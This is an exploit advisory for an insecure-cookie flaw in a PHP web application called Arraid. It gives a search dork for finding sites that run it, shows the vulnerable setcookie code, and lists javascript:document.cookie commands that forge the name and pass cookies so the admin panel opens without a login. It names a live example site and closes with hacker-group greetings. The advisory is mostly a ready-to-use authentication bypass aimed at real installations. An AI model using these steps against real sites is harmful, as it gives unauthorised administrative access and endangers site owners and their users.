::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Exploit Title :  Arraid Insecure Cookie Handling Vulnerability
Author: alnjm33
Software Link: http://www.dz-goal.com/up/view.php?file=a88342493d
Version: 1
Tested on: Version 1
My home : Sec-war.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
==========================================Dork==========================================
                                 (Powerd by Arraid )
================================Exploit=============================================
/admin/login.php
<?php
setcookie("name",$name,$time);  //AMMMMMMMM so bad
setcookie("pass",$pass,$time); // AMMMMMMMM so bad
?>
Exploit
WwW.SitE.CoM/admin/
javascript:document.cookie="name=$name;path=/admin/";
javascript:document.cookie="pass=$pass;path=/admin/";
After that
Browse the Adminpamel
WwW.SitE.CoM/admin/
e.g
http://www.halahasf.com/admin/
=======================================================================================
Greetz to : First to The Best Team In Africa( Egypt Football TEAM ) PrEdAtOr -Sh0ot3R - xXx - Mu$L!m-h4ck3r - ahmadso - JaMbA - RoOt_EgY- jago-dz - XR57 all Sec-War.com members